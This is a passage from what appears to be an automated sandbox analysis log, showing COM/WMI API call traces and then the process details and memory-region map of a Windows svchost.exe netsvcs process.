	[0124.933] IClientSecurity:SetBlanket (This=0x7ace5c, pProxy=0x50add1c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.933] IUnknown:Release (This=0x7ace5c) returned 0x2
	[0124.933] IUnknown:Release (This=0x7ace7c) returned 0x1
	[0124.933] CoTaskMemFree (pv=0x7905f0) 
	[0124.934] WbemLocator:IUnknown:Release (This=0x50adc20) returned 0x0
	[0124.934] IUnknown:QueryInterface (in: This=0x50add1c, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fe404 | out: ppvObject=0x52fe404*=0x7ace7c) returned 0x0
	[0124.934] IUnknown:QueryInterface (in: This=0x7ace7c, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52fe3c0 | out: ppvObject=0x52fe3c0*=0x0) returned 0x80004002
	[0124.934] IUnknown:QueryInterface (in: This=0x7ace7c, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52fe2b4 | out: ppvObject=0x52fe2b4*=0x0) returned 0x80004002
	[0124.934] IUnknown:AddRef (This=0x7ace7c) returned 0x3
	[0124.934] CoGetContextToken (in: pToken=0x52fe24c | out: pToken=0x52fe24c) returned 0x0
	[0124.934] IUnknown:QueryInterface (in: This=0x7ace7c, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fe234 | out: ppvObject=0x52fe234*=0x7acddc) returned 0x0
	[0124.934] IMarshal:GetUnmarshalClass (in: This=0x7acddc, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52fe23c | out: pCid=0x52fe23c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.934] IUnknown:Release (This=0x7acddc) returned 0x3
	[0124.934] CoGetContextToken (in: pToken=0x52fe244 | out: pToken=0x52fe244) returned 0x0
	[0124.934] IUnknown:AddRef (This=0x7ace7c) returned 0x4
	[0124.935] IUnknown:QueryInterface (in: This=0x7ace7c, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fe2b8 | out: ppvObject=0x52fe2b8*=0x7ace64) returned 0x0
	[0124.935] IUnknown:Release (This=0x7ace7c) returned 0x4
	[0124.935] IRpcOptions:Query (in: This=0x7ace64, pPrx=0x7ace7c, dwProperty=2, pdwValue=0x52fe2dc | out: pdwValue=0x52fe2dc) returned 0x80004002
	[0124.935] IUnknown:Release (This=0x7ace64) returned 0x3
	[0124.935] IUnknown:Release (This=0x7ace7c) returned 0x2
	[0124.935] CoGetContextToken (in: pToken=0x52fe6b8 | out: pToken=0x52fe6b8) returned 0x0
	[0124.935] CoGetContextToken (in: pToken=0x52fe678 | out: pToken=0x52fe678) returned 0x0
	[0124.935] IUnknown:AddRef (This=0x7ace7c) returned 0x3
	[0124.935] IUnknown:QueryInterface (in: This=0x7ace7c, riid=0x52fe6f4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x52fe6f0 | out: ppvObject=0x52fe6f0*=0x50add1c) returned 0x0
	[0124.935] IUnknown:Release (This=0x7ace7c) returned 0x3
	[0124.935] IUnknown:Release (This=0x50add1c) returned 0x2
	[0124.935] IUnknown:Release (This=0x50add1c) returned 0x1
	[0124.935] CoUninitialize () 

Thread:
	id = 103
	os_tid = 0xa88


Thread:
	id = 104
	os_tid = 0xa8c

	[0124.942] CoGetContextToken (in: pToken=0x51df620 | out: pToken=0x51df620) returned 0x0
	[0124.942] CoGetContextToken (in: pToken=0x51df610 | out: pToken=0x51df610) returned 0x0
	[0124.942] CoGetMarshalSizeMax (in: pulSize=0x51df5dc, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7ace7c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x51df5dc) returned 0x0
	[0124.943] CoMarshalInterface (pStm=0x7aa688, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7ace7c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0

Thread:
	id = 105
	os_tid = 0xa90


Thread:
	id = 106
	os_tid = 0xa94

	[0128.355] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0128.358] ResetEvent (hEvent=0x334) returned 1
	[0128.358] GetLastError () returned 0x0

Process:
	id = "5"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x26de3000"
	os_pid = "0x328"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0xa10"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a57d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1069
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1070
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1071
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1072
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1073
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1074
	        start_va = 0xc0000
	          end_va = 0x17ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1075
	        start_va = 0x180000
	          end_va = 0x181fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 1076
	        start_va = 0x190000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 1077
	        start_va = 0x210000
	          end_va = 0x210fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 1078
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 1079
	        start_va = 0x230000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1080
	        start_va = 0x2b0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 1081
	        start_va = 0x3b0000
	          end_va = 0x4affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003b0000"
	        filename = ""

Region:
	              id = 1082
	        start_va = 0x4b0000
	          end_va = 0x4b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004b0000"
	        filename = ""

Region:
	              id = 1083
	        start_va = 0x4c0000
	          end_va = 0x4c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004c0000"
	        filename = ""

Region:
	              id = 1084
	        start_va = 0x4d0000
	          end_va = 0x4d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004d0000"
	        filename = ""

Region:
	              id = 1085
	        start_va = 0x4e0000
	          end_va = 0x4e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004e0000"
	        filename = ""

Region:
	              id = 1086
	        start_va = 0x4f0000
	          end_va = 0x4f1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004f0000"
	        filename = ""

Region:
	              id = 1087
	        start_va = 0x500000
	          end_va = 0x503fff
	     entry_point = 0x500000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1088
	        start_va = 0x510000
	          end_va = 0x511fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000510000"
	        filename = ""

Region:
	              id = 1089
	        start_va = 0x520000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000520000"
	        filename = ""

Region:
	              id = 1090
	        start_va = 0x530000
	          end_va = 0x6b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 1091
	        start_va = 0x6c0000
	          end_va = 0x840fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 1092
	        start_va = 0x850000
	          end_va = 0xc42fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000850000"
	        filename = ""

Region:
	              id = 1093
	        start_va = 0xc50000
	          end_va = 0xccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c50000"
	        filename = ""

Region:
	              id = 1094
	        start_va = 0xcd0000
	          end_va = 0xcd3fff
	     entry_point = 0xcd0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1095
	        start_va = 0xce0000
	          end_va = 0xd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 1096
	        start_va = 0xd60000
	          end_va = 0xd60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d60000"
	        filename = ""

Region:
	              id = 1097
	        start_va = 0xd70000
	          end_va = 0xd70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d70000"
	        filename = ""

Region:
	              id = 1098
	        start_va = 0xd80000
	          end_va = 0xdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d80000"
	        filename = ""

Region:
	              id = 1099
	        start_va = 0xe00000
	          end_va = 0xe1bfff
	     entry_point = 0xe00000
	     region_type = mapped_file
	            name = "firewallapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui")

Region:
	              id = 1100
	        start_va = 0xe20000
	          end_va = 0xe9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e20000"
	        filename = ""

Region:
	              id = 1101
	        start_va = 0xea0000
	          end_va = 0xecffff
	     entry_point = 0xea0000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db")

Region:
	              id = 1102
	        start_va = 0xed0000
	          end_va = 0xed0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ed0000"
	        filename = ""

Region:
	              id = 1103
	        start_va = 0xee0000
	          end_va = 0xef9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ee0000"
	        filename = ""

Region:
	              id = 1104
	        start_va = 0xf00000
	          end_va = 0xf7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f00000"
	        filename = ""

Region:
	              id = 1105
	        start_va = 0xf80000
	          end_va = 0xffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f80000"
	        filename = ""

Region:
	              id = 1106
	        start_va = 0x1000000
	          end_va = 0x1000fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001000000"
	        filename = ""

Region:
	              id = 1107
	        start_va = 0x1010000
	          end_va = 0x101ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001010000"
	        filename = ""

Region:
	              id = 1108
	        start_va = 0x1020000
	          end_va = 0x102ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001020000"
	        filename = ""

Region:
	              id = 1109
	        start_va = 0x1030000
	          end_va = 0x103ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001030000"
	        filename = ""

Region:
	              id = 1110
	        start_va = 0x1040000
	          end_va = 0x104ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001040000"
	        filename = ""

Region:
	              id = 1111
	        start_va = 0x1050000
	          end_va = 0x105ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001050000"
	        filename = ""

Region:
	              id = 1112
	        start_va = 0x1060000
	          end_va = 0x106ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001060000"
	        filename = ""

Region:
	              id = 1113
	        start_va = 0x1070000
	          end_va = 0x1077fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001070000"
	        filename = ""

Region:
	              id = 1114
	        start_va = 0x1080000
	          end_va = 0x134efff
	     entry_point = 0x1080000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1115
	        start_va = 0x1350000
	          end_va = 0x1350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001350000"
	        filename = ""

Region:
	              id = 1116
	        start_va = 0x1360000
	          end_va = 0x13dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001360000"
	        filename = ""

Region:
	              id = 1117
	        start_va = 0x13e0000
	          end_va = 0x13effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013e0000"
	        filename = ""

Region:
	              id = 1118
	        start_va = 0x13f0000
	          end_va = 0x13fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013f0000"
	        filename = ""

Region:
	              id = 1119
	        start_va = 0x1400000
	          end_va = 0x140ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001400000"
	        filename = ""

Region:
	              id = 1120
	        start_va = 0x1410000
	          end_va = 0x148ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001410000"
	        filename = ""

Region:
	              id = 1121
	        start_va = 0x1490000
	          end_va = 0x1490fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001490000"
	        filename = ""

Region:
	              id = 1122
	        start_va = 0x14a0000
	          end_va = 0x14a1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014a0000"
	        filename = ""

Region:
	              id = 1123
	        start_va = 0x14b0000
	          end_va = 0x152ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014b0000"
	        filename = ""

Region:
	              id = 1124
	        start_va = 0x1530000
	          end_va = 0x1530fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001530000"
	        filename = ""

Region:
	              id = 1125
	        start_va = 0x1540000
	          end_va = 0x15bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001540000"
	        filename = ""

Region:
	              id = 1126
	        start_va = 0x15c0000
	          end_va = 0x15cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015c0000"
	        filename = ""

Region:
	              id = 1127
	        start_va = 0x15d0000
	          end_va = 0x15d7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015d0000"
	        filename = ""

Region:
	              id = 1128
	        start_va = 0x15e0000
	          end_va = 0x15effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015e0000"
	        filename = ""

Region:
	              id = 1129
	        start_va = 0x15f0000
	          end_va = 0x15fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015f0000"
	        filename = ""

Region:
	              id = 1130
	        start_va = 0x1600000
	          end_va = 0x160ffff
	     entry_point = 0x1600000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1131
	        start_va = 0x1610000
	          end_va = 0x168ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001610000"
	        filename = ""

Region:
	              id = 1132
	        start_va = 0x1690000
	          end_va = 0x1697fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001690000"
	        filename = ""

Region:
	              id = 1133
	        start_va = 0x16a0000
	          end_va = 0x16affff
	     entry_point = 0x16a0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1134
	        start_va = 0x16b0000
	          end_va = 0x16bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016b0000"
	        filename = ""

Region:
	              id = 1135
	        start_va = 0x16c0000
	          end_va = 0x16cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016c0000"
	        filename = ""

Region:
	              id = 1136
	        start_va = 0x16d0000
	          end_va = 0x16dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016d0000"
	        filename = ""

Region:
	              id = 1137
	        start_va = 0x16e0000
	          end_va = 0x16effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016e0000"
	        filename = ""

Region:
	              id = 1138
	        start_va = 0x16f0000
	          end_va = 0x16f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016f0000"
	        filename = ""

Region:
	              id = 1139
	        start_va = 0x1700000
	          end_va = 0x170ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001700000"
	        filename = ""

Region:
	              id = 1140
	        start_va = 0x18b0000
	          end_va = 0x18bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018b0000"
	        filename = ""

Region:
	              id = 1141
	        start_va = 0x18c0000
	          end_va = 0x193ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018c0000"
	        filename = ""

Region:
	              id = 1142
	        start_va = 0x1990000
	          end_va = 0x1a0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001990000"
	        filename = ""

Region:
	              id = 1143
	        start_va = 0x1a10000
	          end_va = 0x1a75fff
	     entry_point = 0x1a10000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 1144
	        start_va = 0x1aa0000
	          end_va = 0x1b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001aa0000"
	        filename = ""

Region:
	              id = 1145
	        start_va = 0x1b20000
	          end_va = 0x1b2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b20000"
	        filename = ""

Region:
	              id = 1146
	        start_va = 0x1b30000
	          end_va = 0x1b3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b30000"
	        filename = ""

Region:
	              id = 1147
	        start_va = 0x1b40000
	          end_va = 0x1b4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b40000"
	        filename = ""

Region:
	              id = 1148
	        start_va = 0x1b50000
	          end_va = 0x1b5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b50000"
	        filename = ""

Region:
	              id = 1149
	        start_va = 0x1b60000
	          end_va = 0x1b6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b60000"
	        filename = ""

Region:
	              id = 1150
	        start_va = 0x1b70000
	          end_va = 0x1b7ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b70000"
	        filename = ""

Region:
	              id = 1151
	        start_va = 0x1b90000
	          end_va = 0x1c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b90000"
	        filename = ""

Region:
	              id = 1152
	        start_va = 0x1c10000
	          end_va = 0x1d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c10000"
	        filename = ""

Region:
	              id = 1153
	        start_va = 0x1d60000
	          end_va = 0x1ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d60000"
	        filename = ""

Region:
	              id = 1154
	        start_va = 0x1e40000
	          end_va = 0x1ebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e40000"
	        filename = ""

Region:
	              id = 1155
	        start_va = 0x1f80000
	          end_va = 0x1fbffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001f80000"
	        filename = ""

Region:
	              id = 1156
	        start_va = 0x1fc0000
	          end_va = 0x1ffffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001fc0000"
	        filename = ""

Region:
	              id = 1157
	        start_va = 0x2020000
	          end_va = 0x209ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002020000"
	        filename = ""

Region:
	              id = 1158
	        start_va = 0x20a0000
	          end_va = 0x23e2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000020a0000"
	        filename = ""

Region:
	              id = 1159
	        start_va = 0x23f0000
	          end_va = 0x24effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023f0000"
	        filename = ""

Region:
	              id = 1160
	        start_va = 0x24f0000
	          end_va = 0x256ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024f0000"
	        filename = ""

Region:
	              id = 1161
	        start_va = 0x2570000
	          end_va = 0x25effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002570000"
	        filename = ""

Region:
	              id = 1162
	        start_va = 0x25f0000
	          end_va = 0x266ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025f0000"
	        filename = ""

Region:
	              id = 1163
	        start_va = 0x2720000
	          end_va = 0x272ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002720000"
	        filename = ""

Region:
	              id = 1164
	        start_va = 0x2740000
	          end_va = 0x27bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1165
	        start_va = 0x2860000
	          end_va = 0x28dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002860000"
	        filename = ""

Region:
	              id = 1166
	        start_va = 0x28e0000
	          end_va = 0x295ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028e0000"
	        filename = ""

Region:
	              id = 1167
	        start_va = 0x2960000
	          end_va = 0x29dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002960000"
	        filename = ""

Region:
	              id = 1168
	        start_va = 0x2a60000
	          end_va = 0x2adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a60000"
	        filename = ""

Region:
	              id = 1169
	        start_va = 0x2b50000
	          end_va = 0x2bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b50000"
	        filename = ""

Region:
	              id = 1170
	        start_va = 0x2c50000
	          end_va = 0x2d4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002c50000"
	        filename = ""

Region:
	              id = 1171
	        start_va = 0x2d60000
	          end_va = 0x2ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d60000"
	        filename = ""

Region:
	              id = 1172
	        start_va = 0x2e00000
	          end_va = 0x2e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e00000"
	        filename = ""

Region:
	              id = 1173
	        start_va = 0x2ed0000
	          end_va = 0x2f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ed0000"
	        filename = ""

Region:
	              id = 1174
	        start_va = 0x2f50000
	          end_va = 0x304ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f50000"
	        filename = ""

Region:
	              id = 1175
	        start_va = 0x30d0000
	          end_va = 0x314ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030d0000"
	        filename = ""

Region:
	              id = 1176
	        start_va = 0x3150000
	          end_va = 0x31cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003150000"
	        filename = ""

Region:
	              id = 1177
	        start_va = 0x31d0000
	          end_va = 0x32cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031d0000"
	        filename = ""

Region:
	              id = 1178
	        start_va = 0x3350000
	          end_va = 0x344ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003350000"
	        filename = ""

Region:
	              id = 1179
	        start_va = 0x34c0000
	          end_va = 0x34cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000034c0000"
	        filename = ""

Region:
	              id = 1180
	        start_va = 0x34d0000
	          end_va = 0x35cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000034d0000"
	        filename = ""

Region:
	              id = 1181
	        start_va = 0x35d0000
	          end_va = 0x36cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000035d0000"
	        filename = ""

Region:
	              id = 1182
	        start_va = 0x37e0000
	          end_va = 0x385ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000037e0000"
	        filename = ""

Region:
	              id = 1183
	        start_va = 0x3880000
	          end_va = 0x38fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003880000"
	        filename = ""

Region:
	              id = 1184
	        start_va = 0x3a40000
	          end_va = 0x3a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a40000"
	        filename = ""

Region:
	              id = 1185
	        start_va = 0x3bc0000
